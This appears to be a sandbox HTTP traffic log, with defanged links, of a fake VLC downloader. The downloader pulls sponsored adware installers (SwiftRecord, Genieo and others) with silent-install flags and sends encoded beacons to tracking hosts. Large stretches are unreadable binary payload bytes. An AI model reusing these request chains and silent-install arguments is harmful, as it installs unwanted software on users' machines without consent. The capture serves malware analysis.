GET /downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:18 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..Nl..(.vz:.a^[.....;..H.~ .R...\.D.<
.}..d....*[email protected]..;...i..|.5N......w.....h4...E.HN..<[D.r
1..K ...,.X4.R.,.O....C.w.........qy......R.|2_..Q6;..n.xw....._~9....
.x.f. ....}.".....J.!.,.....|q..f..7..q./...t.m}....8^d.."./....$_|.k2
Q'.Y.....h1[~.../.......8.t2....<.....w....c<.N...0...K...$.cQ..
.A.e..q..(......buO/..t2....y~.t.....A.|...0Y.<..x.d9...?w....3....
'.|...#J.E....2;a.....5.....u.t.....'..`9..b2...I..n...A......(..9._.O
..................E6K.;..4._`.N..a<...A>.....\[email protected]../.
S|.p....9.w"..d.].3...g.p.N...yj..63wL3..c.y~.O..2..H1..Q.]f.X.d......
|..v.O.).6.sK..=..x..O..x.......4NO..r..}....lU.D>:.P./...s....~.f.
0...1p...d>.Xp...Ir.)....N>.@K.'l.d:..3P.Y.:...,.f.k~..*o...\;..
.....Op(.'..$EY...v.g.,..Awow..*..#.M'........|689....w~.....}.....1M.
.s?.s..._.q..;?.ns..V.w0..D..3.w........._....*.v.w*q...8....I07..,...
e..t/...b....[...{.*..|[.......}...g]........o...o...o......<.{..{M
.....8<...{o.~o.lq-........{M...........|..n..;.8.w.q9......r....n.
.n.^wk.w.......[.....?.X....l..[..t.69KE.8...y6?.{9.,!...oy...P/...Ln.
............i....8x..zeJ..R)s.t..#.!.5... ./p.G..Dx.f....u9.....2...u.
[email protected].&'K."x.u...(..c.......4.{......RY....K:.l2\....Y.2.4Ss
#....dkw.....8.R.......'........ {..akC..O_..y}q..;.....q.*L.3.*.;.:,.
.a..qM..h.-.Te3Si.U..~..k).7..o.D.K....[0...z ..w.!...).!..y./F.K....d
.l.6.....&.x....b.F...k....7..<.k.x.V..YG .2....f.....Q?..^.t1.~._.
^mn.......X.'..xS.....:./....l.........79...t...k.sy.\I|..<....<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=2&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=2&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=3&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=3&offers[geneio_non_search_for_pc][exec_args]= /bi_sponsored_sub_process &offers[geneio_non_search_for_pc][offer_indexes][slot_number]=4&offers[geneio_non_search_for_pc][offer_indexes][index_in_screen]=1&offers[geneio_non_search_for_pc][offer_indexes][index_in_session]=4&uid_orig=226e0daa89188549baf0d586a6bc816b&uid=e1b8a78c0881034aa57a76140e007cf2&tokyo_csrf_key=354c5b235289dd96bc6e158bad839f24&tokyo_csrf_timestamp=1431730938&ffInstalled=false&dfz=false&affid=network_smb_indostreamix&sid=vlcmediaplayerelzy&country=UA&hostBrowser=ff&unique_id=1e49cbf272b0b1cc3bcc98a4a55de57c HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.c
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:19 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
52e.............Xmo.6.. .> .%..c..A.e......EU..t..H.FRQ...}G.....*7
....L.........MY..... Q.r.4.!.I..f.%.....r...}..5.9.-9.-e.sK..i...I .J
%..].e/.D..Rp....~N.Q..)..k..UL.......^}F..W.....8..1.r.Gw.....W..?...
N3.4...|..D. *..Uat.Bp%$$8W*.D.....;Mi..%6 .94.f.{W....K....w.......EE
..3\....[..I.......Q...........8.'....IX0..j....x.-.J.I4..Mn`.........
f..z..../..R..Wa.._.=.-He...........rsn..f...KtW}..............n..Ub0)
...L...Uk.}.D.....>.t.....W,......#....y.(....j...|.6..... gZb.?.C.
...C....O>].....M.....3Z.1....Is.>..ia....7..&9.?O......:..}S^f.
..4El...........{.....l...lf.....H...23../..Q[.q=.K..%........L.5.".R.
U).-......v.l.}...-..2V.1**`.X.Q.)r...rv..0.x4xD8'.........a...9..S...
..2..tC.......3..Y.q......fA.b.-._..n0$..a.q.0...........(..N.. z..
...'.][email protected];..........h:..0.X..d..2..8.{.-.wR...c#.vX...
..6U.a..W.0.-.Z........B...e".d.9...eF.....p0~.?..C......g7.,vH* .fN..
. ..!H.....p$K.vv.;.ty..<..O...0l...a8.aXU,..b!1.m[.....f...Y...6.N
.....Z..HV..L!.>*.G..!8....1..rT^.%}.....Z-.......`.^e..>.C.'...
.. ....=......R./..../....ma..}gK..T.....u?.....x...=..s... .y.aU..I.x
....`.......U.XbF....}H.....{..E..(... .......t4.....M4P.E[.n.......Tn
g......c.H../..0U.R..?L..5....A..[:..DK..]...q.Ut...u...Z0...4.F.Q!>
;.....b.%...\.r.4.1(..J.....7 |..d...e.$..'0.&.a..(H0.'[email protected].
....;..............:.h.....0......
<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.9169541453657197 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:19 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:19 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

HEAD /WORLD/index.html?eref=rss_world HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Server: Varnish

Retry-After: 0

Content-Length: 0

Location: hXXp://edition.cnn.com/WORLD/index.html?eref=rss_world

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:02 GMT

Via: 1.1 varnish

Connection: close

X-Served-By: cache-fra1226-FRA

X-Cache: MISS

X-Cache-Hits: 0

GET /sd?is=sm HTTP/1.1

Range: bytes=407001-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 407001-465143/465144

Content-Length: 58143

Connection: keep-alive
.}#[email protected]..(..2.}............q.*/. g..P.'..,e....W..K.\.P.S....[
?Sk>...q.../.z..O.t.........zBr...s.b#.n..B...)N..{t...,%.e0.!.^{.G
w..W..0....G...3/$]}t<.e....C....._#}.....lF.....;=.6&VZ.......k...
.w....x.p{..y5 ...y.Y.y`)fV...`A.....V..4l.V.J...F.$...g.<..L.{...2
[email protected]@,......s..V"KqjJ.V...\.HY.8!....2......F...t..Qa....g.1...pk
...2D|....F>.....<y%2.QX..D.........QO.9..v...(h............. L.
...Z.=..\n..|z....&.......z.l.=..C.J?..*.k_u......4...9.7......K(.t..=
.U.....K...........d@ .s.~..P...wR2.k<z.?v9.J...kq............\.lG.
..o.:8M..W..v<ar.....a.5.......RH..4.W........Lju^..#.p.*i>....g
[email protected]..\...F.'.<....M.l.....L. c.f.Or%..)...F._.7.A...A.....a.U....
^..eG...Ca&w.q0.qi..E...F.c...c.t....Q..A6d7....H......%(..5{W........
.E..o.V.THh.....l1....P#.m.5...93bo..]....4K.....&{......}.W........mf
/g{....F):d9....t.....>.l......(.B.EA....4.(.../k........./Dq...{..
......[.....U8.N.<H.!..?..6..<...%..O.#.......p#tdq...h.P.....T.
y/...<[email protected]....&..#....s..8..mI...%....|...m0bd.R.u;e...H
.1tnD..SW.....,$D&..^U...y.^|..o.............M' .E.4*Mu.t...*.g....G..
.([email protected]../N....]W...3...B....,DE.2.N@.#..
...!?.#..t...V.2.n.d..n..Xi.....--.... ~<.=....O.)Nx|4D..99........
..j{...d.[J..J...pn.d.7A.../........!....Z..sp....zd..0....X{...d.....
...L...w\...V.........d.....v..K.....D..*JJ.H...z..........G...g\...uD
c....c..t..........z.Z.3...3.9..Z..,...c4....H..x.z.~}[email protected]......
....._...z.z.K..G.....(.\!ec.....t.9B!...iE.....*...N^.u.JP..sTO..<<< skipped >>>

GET /yandex-tech2-www/_/FA2t0d4VnPfgtJ9YRwNyI8OccPQ.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yandex.st

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: image/x-icon

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Fri, 15 May 2015 07:55:16 GMT

ETag: W/"5555a664-47e"

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
15d............c``.B... ...... ......@[email protected]$
[email protected]/...n.%O?..{p..........w.......l.
A......_....e.......q..]?.....?.._R........_.O..................}.....
...I.l...t.EWd.....?{......>.$....X..0z.e........*f.......~..?.....
....<......v..B...D.. )......o....Q.n.#... J..4...1;.3C1#..........
..D0b.~.....0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 15 May
 2015 23:04:57 GMT..Content-Type: image/x-icon..Transfer-Encoding: chu
nked..Connection: keep-alive..Last-Modified: Fri, 15 May 2015 07:55:16
 GMT..ETag: W/"5555a664-47e"..Expires: Thu, 31 Dec 2037 23:55:55 GMT..
Cache-Control: max-age=315360000..Cache-Control: public..Access-Contro
l-Allow-Origin: *..Content-Encoding: gzip..15d............c``.B... ...
... ......@[email protected]$..4..~b.?x.....t....D...p..
[email protected]/...n.%O?..{p..........w.......l.A......_....e.......q..]?..
...?.._R........_.O..................}........I.l...t.EWd.....?{......
>.$....X..0z.e........*f.......~..?.........<......v..B...D.. ).
.....o....Q.n.#... J..4...1;.3C1#............D0b.~.....0......


GET /lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yandex.st

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: image/x-icon

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 08 Apr 2015 15:37:16 GMT

ETag: W/"55254b2c-47e"

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
228..............QhRQ...#E..p.."...*V...H.f.Aa.....j. l.C.=.1......M.&
gt;4...>..CE.B..Vb..A.C.......<p."?..w.w.... ....A..}bj..;....[.
....g..........@*..:..D"QK....H$........j&.A/...O...C^..Bb].......B.".
..:...5.....K.X,...{!.k/..P...|..<[...{.?A.K.......^./..E(...04T...
g......}..r....G...t.T*A7;..}}&..:..~...d..sf...j...0jp...B&....6..R.T
,f...f..e4...w....3..|...R..e>D'M.....V^.;........\.f.K....v..e...c
.../_[8~...R.....z...".I...<^.q1..Mn.O.m....s)...dn7{........m.a...
}`.......r........:.8.z...}...6...:.j.......].....kG.u?..=z...t..M]...
ri.d..?3...~.....0..

GET /10957.ashx?e=W5y9y1UrGBmidLNtGGzWYU7rJDSm VNK1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZY6XgoNtHCHtXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:25 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /10957.ashx?e=yhrBLBbZM9XZ/Qu8ewVmadZ/7x4XnQsxsg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybWLazpewXw1hJrxsBNiLaIoQ/YD6Ylfh4s IILilpWF3SrJmHujm63CsyUOo1FNpRnK58B7 vg9JI4PFOXq Sm2/D9rnod6Atn497yrXAWT5LUtYGLIDr9jIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPTqgRW4HbD4bYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaCikrMz/ bCM7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMhhqfg4779Up HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAezhqBxvppgbPaoY7TL7kjxnI8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCBJyuB1u/1DIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPcrcuUqCSC44= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VAhTD7v1xeC4pGvADS7bOhjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29oKKSszP/5sIzto5FeRYZjTILRMK0uPbozNdYoFk7JaOSub7kXmhLMyGGp Djvv1Sk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VSMShYYQCF9/JscN vLrCo6Y7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsVGXytAW0YTvpFBfC/1GFX1sFx0Ai5knupjdibKIr9AtxNsDmnyqwUg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPnPknLN9u16ASmF904v4t2D1NA7tXD3CmC73NeQp8SPtVWImRA6nvXyemsIrBY4kGYmnYHoNvmS0wjwsXSvUcVI6Z8Wlm3oZOE/Ow1jdI7tmsPjJfVfuaLDjEDeHJGt1uwDsaRajMf3YDSvXJPFDaFtXAs3XRcvNCfTm 4WEJYsdGqHtv2oE0WIbZOd1Z hx8BPIOGLdaeOjR sDLwnn1132uAG1IrkYwnafAodXicqFMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfeIiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2s9O CwlJrmA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19V5yF80LcSiUprLQLaeFmmuxQC drCF7eFBnVIr3mA12sFsK7/Ya3qp3H4CQmKwMH4r9Jhf/fTQpezt6pbQmh/1TAyVFa8Kky4wWiZseMklSFEZLrLhs96otwo5V3AagblXQpk3ufzer4FsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdZ3vEKumRhmNpxnQKqBcIRK93Qlsgdg5HvI0hVeZ5GjYH8hyAaL5CajGlYHodqc6ZHHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCBJyuB1u/1DIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPcrcuUqCSC44= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPkRGT FmTEtcdCUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1AXIYVODptJgeXtKxW7QQ3aW2hPuTjVc 5v9Yrimx5Zd4NM7ovYotceRgwXWwUv3w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:27 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /10957.ashx?e=hpY1rXLYst7pvV2oKfdHnDhfQ9MGNT8i7OXLse4BafTbQC nVTu53mZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/uVL3Gu9UwvVR5AawbKoxp11TCyTpFsxTEHEcozhy4EYCpHZc9ZUaH6/88N5jCoINCUHeR8YCF3WlDTfn6Wm6lW0Hx6tEFQQ5PDJexsDUHtBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLUBchhU4Om0mB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1x5GDBdbBS/f HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:29 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:29 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache



m..1.....q..k1l.?.:....q.........._.M1..<t..\..9......Zd0.hy.0B .EC
.w-U..6..H.._d...u...Ft...y.....t.k.....O...A.#7O..O..Y{...HN.H;.]..)k
.;$.|.Q.....z..i..EjF.h.3d...N"....|..p...s.`.G.rX'...U.n...ty.4.wC..!
Z.[3...PaW1;)..x...q.VO...*K.Et.9.w,...u.M...C#|-....E...*.=...b.3....
.a..z.#:.....[..bP....H....E..'..Vs].|(b }.......hl..(....2..@..}..C.8
S..GG.s...}..4....'4............F.....q.....Fq-.../G..4#..R.*...5*....
.S..[P...I.'.y...$....."Y./......'.<......GZ..`....8.W~I.8...BB...j
.r..P).t.;...:<...P..W.uI|.....Pn$..fE..r~..;...<n......./&..=..
)7m....'.E.Fy(M%.M|'.O.,L...s.....X.p*.......0#......CD..|.4~H....`...
[email protected]......[....D.$u...gxo........*.lr.........l........t..5....
iy.3I.....8.5..@q.*L....c5E.......{2.3:.g/........Vc.-.=...Z#..2Z.....
..D.........kE..4.o.i.e1K.. .Q....B.3..y....0..........q...tS.>.[.#
0.......... M3Yt.f\...6....u.]......c......s....?k;u.........D.u...}V.
._.".ir....>.70...y] J.....J.....o.........Z.o.Q....h.`.....<"5K
^..UU>.,.61-.q..q.B.....>.n(..;.....:...q.j.P....DEzI.Cu...vl...
.Bm.[$r.Y....>.x..Z-..0. ..u&...N.8..j....TLH.Y....J.3i...?.......O
..P?.......Q...gP.C..]T.9\...d.w........5.M..IQ.;,FE......:..!..ac..\.
g.3......2W*.......G..o....d.5J.X.N0..qY..>..2......;.......T=..hW.
V.Dk./.=hir.A.D........A..L.#lj.[...|Y.~.......B\......X....w.....^B..
jS..P....<...........).L.]U......U.......Ejy._..(..KY.ipp.D..?.@...
h.&.U...^(.@P3<S.x...N[... ....5..7.{......o.y.zw..................
''.IK&.9lXV`u.w..1..iTK. .......4...........~.q...#..e).h.-.W.?..0<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=2828796-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 19801565

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 2828796-22630360/22630361
...1Iyr][email protected].=..[..[.....C.....O._..[W.,~.j.B..
....%.&!.=qC<.Mi9..1.Bej..w.B...=.\....&.?..p.....-,i.9^.......x...
...[1...hT.*....,.;.....nb..S....~Vn...G.|..I...d:5..M<Q.x8P..Q.k..
.D..:.;.J......X.....^[email protected]..>..l..CG.MH4..M......
M....*a.@..;.J|7A.....(!-d.w-....".H.q".fmC.......8.|[email protected]&
i.....0.;....h......d...w.....,o..c..:h.4):.h.5..}1.........j..=....."
.s...S...eex..2..a..e4b.P...Q.1..........^b7y. .^.OZ.E..&9...wI...b:..
.v...(..u.-w.B..i..y......BX.Y..2.s.\....[w..t.2..aR.^..e...A.7.f.u(.*
